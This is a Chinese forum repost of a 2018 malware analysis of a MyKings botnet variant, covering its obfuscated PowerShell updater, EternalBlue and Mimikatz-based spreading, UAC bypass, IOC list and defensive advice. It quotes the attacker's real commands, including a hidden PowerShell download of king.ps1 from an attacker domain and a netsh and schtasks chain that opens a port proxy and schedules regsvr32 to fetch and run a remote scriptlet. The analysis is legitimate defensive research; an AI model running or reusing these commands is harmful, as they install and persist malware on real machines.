查看: 1152|回复: 0
收起左侧

[技术原创] MyKings僵尸网络最新变种突袭,攻击代码多次加密混淆,难以检测

[复制链接]
腾讯电脑管家
发表于 2018-9-11 00:20:19 | 显示全部楼层 |阅读模式
0x1 概述
近日,腾讯御见威胁情报中心检测到了Mykings僵尸网络迎来了一波更新,通过更新后的样本免杀度极高,且加密手段复杂,采用较高超的攻击技巧,提升了安全检测的难度。
MyKings僵尸网络2017 2月左右开始出现,该僵尸网络通过扫描互联网上 1433 及其他多个端口渗透进入受害者主机,然后传播包括 DDoSProxy(代{过}{滤}理服务)、RAT(远程控制木马)、Miner(挖矿木马)在内的多种不同用途的恶意代码。腾讯御见威胁情报中心曾在今年五月发现Mykings利用Nsis脚本进行SMB爆破传播挖矿。由于MyKings僵尸网络主动扩散的能力较强,影响范围较广,对企业用户危害严重。
Mykings僵尸网络最新变种的技术特点:
1.攻击指令入侵成功,即通过Powershell下载king.ps1脚本;
2.king.ps1经过多次混淆加密,具有自我更新和横向移动扩散能力;
3.Mykings僵尸网络横向扩散利用了永恒之蓝漏洞和Mimikatz攻击神器;
4.Mykings僵尸网络多次使用加密混淆脚本,以掩盖攻击意图,逃避安全软件检测;
5.攻击者利用肉鸡电脑开启代{过}{滤}理服务,肉鸡电脑可能成为攻击其他系统的跳板;
6.攻击脚本中有绕过Windows UAC的行为,避免危险操作被操作系统的安全功能拦截;
7.御见威胁情报中心监控发现,本轮攻击开始于94日,放量测试后攻击者很快关闭C2服务器。
0x2 样本分析
本次更新通过powershell下载king.ps1进行,更新命令:
powershell.exe  -E  -ExecutionPolicy Bypass -windowstyle hidden -command #3down = New-Object ct System.Net.WebClient;#3u;#3url = "= "http://js.f4321y.com/king.dat";#3";#3file = "C:/Users/ADMINI~1/AppData/Local/Temp/19>king.ps1</c1";#";#3down.DownloadFile(ile(#3url,#3file);exit;
下载后的king.ps1经过多次混淆加密,对其进行去混淆后脚本内容如下:
该脚本主要分为两个部分:自我更新和横向移动。
        •        自我更新分析:
脚本首先会获取本地信息,并发送给服务器,服务器会返回一段脚本内容,返回脚本内容为更新下载新的king.ps1
        •        横向移动分析:
该样本使用两种攻击方法进行横向感染:永恒之蓝,和利用NTLM hash 进行Smbclient
永恒之蓝:
扫描内网开放445端口IP,并且该IP没有开放65353端口,随后会利用内置永恒之蓝利用代码eb7eb8函数进行攻击。
        •        eb7:是针对windows 7/2008 R2
        •        eb8:是针对windows 8/8.1/2012 R2
漏洞攻击代码来自exploit-db.网站修改版。攻击成功后,会执行base64解密后的payload
SMBClient
首先调用GetUserInfo函数,该函数内容同样经过编码加密,对其解密后发现会调用内置已加密的exe。该Exe为修改版的Mimikatz。用户获取本地帐号和Ntml hash
Mimikatz会将获取到的帐号和Ntlm存储在%temp%\tmp.log文件中:
将获取到的账号和NTLM Hash和内置的部分帐号和NTLM(脚本中硬编码)组成字典,然后利用SMBClient进行上传脚本。
添加内置帐号和Ntlm hash
smbclient上传脚本:
将内置脚本代码base64解密后发现为加混淆的js脚本,该脚本依然使用了极其复杂的加密和混淆:
对其去混淆后:
js脚本目的是在%appdata%\\Microsoft\\Microsoft.ps1下创建ps1文件,并且设置计划任务启动。Microsoft.ps1仍为加密混淆脚本,经过多次去混淆解密后得到如下脚本内容:
该脚本目的是继续上传受害者信息并执行服务器返回脚本。
        •        payload分析
payload部分依然被严重加密:
解密后,得到执行payload的命令如下:
cmd.exe /c netsh.exe firewall add portopening tcp 65353 DNS&cmd.exe /c netsh interface portproxy add v4tov4 listenport=65353 connectaddress=8.8.8.8 connectport=53 & cmd.exe /c netsh advfirewall firewall add rule name=DNS dir=in action=allow protocol=TCP localport=65353 & cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn DnsCore /tr "regsvr32 /u /s /i:http://pages.ooguy.com/dns.sct scrobj.dll"
Payload会向防火墙添加65353端口,开启代{过}{滤}理,设置当IP访问65353端口时,本机就连接到8.8.8.853端口上,并且设置任务计划定时访问下载http://pages.ooguy.com/dns.sct。目前该下载链接失效。猜测这里跳转到8.8.8.853端口其真实意图尚不明确,可能用于调试目的,或可能变更为代{过}{滤}理服务、下载服务、或将肉鸡电脑作为攻击跳板,发起DDoS攻击等等。
        •        BypassUAC
BypassUAC同样采取无文件落地攻击,其利用MSF公开BypassUAC注入dll,并将DLL硬编码加密写入脚本中。
该代码可以在github上找到:
0x3 趋势&总结
本次Mykings僵尸网络更新,采用了极其复杂的加密和混淆技术,大大增加了免杀的能力。 其中一个脚本就加密多达45次。而且此次捕获的样本并无其他可执行二进制落地,其利用的部分二进制恶意工具均被加密硬编码在脚本中,执行时直接注入相关进程,提升了安全软件的检测难度。
C&C域名监测来看,该波更新开始于94日,仅放量了一部分用户。目前已经关闭了该C&C服务器。因此我们判断,作者可能在进行一些测试,用于进行下一波更猛烈的攻击。
0x4 安全建议
        •        关闭不必要的端口,方法可参考:https://guanjia.qq.com/web_clinic/s8/585.html
        •        建议局域网用户切勿使用弱口令和统一口令;
        •        推荐企业用户使用御点终端安全管理系统保护电脑安全(下载地址:https://s.tencent.com/product/yd/index.html
附录(IOCs
MD5
44d9022197f596eefa88faa951d0a4b2king.ps1
Url:
hxxp://cache.gacache.ga/cache.png?v=2&h=
hxxp://jpcache.casacam.net/start.png?h=
hxxp://pages.ooguy.com/dns.sct
hxxp://js.f4321y.com/king.dat
hxxp://cache.gacache.ga/king.dat?new
hxxp://pages.ooguy.com/dns64.sct
参考链接:
MyKings僵尸网络的新动向:利用NSIS脚本挖门罗币

您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-3-29 20:09 , Processed in 0.118455 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表